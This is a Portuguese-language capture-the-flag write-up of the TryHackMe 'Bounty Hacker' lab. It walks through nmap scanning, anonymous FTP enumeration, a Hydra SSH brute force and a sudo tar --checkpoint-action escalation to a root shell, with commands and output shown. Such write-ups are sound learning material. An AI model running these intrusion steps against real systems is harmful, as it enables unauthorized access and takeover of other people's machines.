Bounty Hacker

TryHackMe

Plataforma	TryHackMe
Dificuldade	Easy
Data de Resolução	10 de Abril de 2026
Autor	Victor Enéias Oliveira

SUMÁRIO

1.	Visão Geral	3
2.	Reconhecimento	3
3.	Exploração	4
4.	Movimentação Lateral	—
5.	Escalada de Privilégios	5
6.	Conclusão	5
7.	Referências	5

1. Visão Geral

O Bounty Hacker é uma máquina de nível iniciante da TryHackMe com tema de caçadores de recompensas (referência à série Cowboy Bebop). A superfície de ataque inclui FTP (porta 21), SSH (porta 22) e HTTP (porta 80). O vetor de entrada é simples: acesso anônimo ao FTP expõe uma wordlist de senhas e o nome de um usuário válido. Com essas informações, um ataque de força bruta via Hydra no SSH fornece acesso inicial. A escalada de privilégios explora uma permissão de sudo mal configurada para o comando tar, utilizando a técnica documentada no GTFOBins.

2. Reconhecimento

Scan completo de portas com detecção de versão:

```
nmap -p- -sV --min-rate 100 <TARGET_IP>
```

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.
0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Figura 1 – Scan Nmap: portas 21 (FTP), 22 (SSH) e 80 (HTTP) abertas

O scan revelou vsftpd 3.0.5 na porta 21, OpenSSH 8.2p1 na porta 22 e Apache httpd 2.4.41 na porta 80. O FTP foi testado primeiro por ser o vetor mais comum em máquinas CTF de nível iniciante.

2.1 Enumeração do FTP

O servidor FTP aceitou login anônimo. No diretório raiz foram encontrados dois arquivos:

```
ftp <TARGET_IP>
# usuário: anonymous
ftp> ls
ftp> get locks.txt
ftp> get task.txt
```

```
root@ip-10-64-99-168:~# ftp [redacted]
Connected to 10.64.156.110.
220 (vsFTPd 3.0.5)
Name (10.64.156.110:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
```

Figura 2 – Listagem do FTP: arquivos locks.txt e task.txt

```
root@ip-10-64-99-168:~# cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
root@ip-10-64-99-168:~# cat locks.txt
rE[redacted]
Re[redacted]
Dr[redacted]
R3[redacted]
Re[redacted]
R3[redacted]
dR[redacted]
Re[redacted]
R3[redacted]
Re[redacted]
R3[redacted]
Sy[redacted]
re[redacted]
RE[redacted]
Dr[redacted]
4L[redacted]
rE[redacted]
Dr[redacted]
Re[redacted]
Dr[redacted]
Re[redacted]
RE[redacted]
dr[redacted]
rE[redacted]
r3[redacted]
Re[redacted]
```

Figura 3 – Conteúdo de task.txt (autor: lin) e locks.txt (wordlist de senhas)

O arquivo task.txt revelou o nome de usuário lin como autor das tarefas. O arquivo locks.txt continha uma lista de possíveis senhas — material ideal para um ataque de força bruta.

3. Exploração

De posse do usuário lin e da wordlist locks.txt, foi realizado um ataque de força bruta ao SSH utilizando o Hydra:

```
hydra -l lin -P locks.txt ssh://<TARGET_IP>
```

```
[DATA] attacking ssh://[redacted]/
[22][ssh] host: 10.64.156.110   login: lin   password: [redacted]
```

Figura 4 – Hydra encontra a senha correta para o usuário lin

O Hydra encontrou a senha com sucesso. Em seguida, foi estabelecida conexão SSH:

```
ssh lin@<TARGET_IP>
```

```
lin@ip-[redacted]:~/Desktop$
```

Figura 5 – Acesso SSH bem-sucedido; user flag encontrada em ~/Desktop/user.txt

4. Movimentação Lateral

Não foi necessária movimentação lateral. O usuário lin obtido via SSH possuía permissões de sudo que permitiram a escalada de privilégios direta para root.

5. Escalada de Privilégios

A enumeração de permissões sudo revelou que o usuário lin podia executar o comando tar como root sem necessidade de senha:

```
sudo -l
```

```
lin@ip-[redacted]:~/Desktop$ ls
user.txt
lin@ip-[redacted]:~/Desktop$ cat user.txt
T[redacted]}
```

Figura 6 – sudo -l: usuário pode executar /bin/tar como root

Consultando o GTFOBins para técnicas de escalada com tar, foi identificado um método que utiliza o mecanismo de checkpoint do tar para executar comandos arbitrários:

```
sudo tar cf /dev/null /dev/null --checkpoint=1 \
  --checkpoint-action=exec=/bin/sh
```

```
xec=/bin/sh
tar: Removing leading `/' from member names
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
T[redacted]}
```

Figura 7 – Shell root obtido via tar; root flag lida em /root/root.txt

6. Conclusão

A cadeia de exploração do Bounty Hacker foi direta: o FTP com login anônimo expôs uma wordlist e o nome de usuário lin. O Hydra realizou força bruta bem-sucedida no SSH, garantindo acesso inicial. A escalada de privilégios explorou uma permissão de sudo para o comando tar, utilizando a flag --checkpoint-action para executar um shell como root. A máquina demonstra os riscos de FTP com acesso anônimo e de permissões de sudo concedidas sem critério a binários que suportam execução de comandos.

7. Referências

- GTFOBins – tar privilege escalation: https://gtfobins.github.io/gtfobins/tar/
- Hydra (THC-Hydra): https://github.com/vanhauser-thc/thc-hydra
- Métodos de Escalação de Privilégio no Linux: https://medium.com/@whoisrodrigopeixoto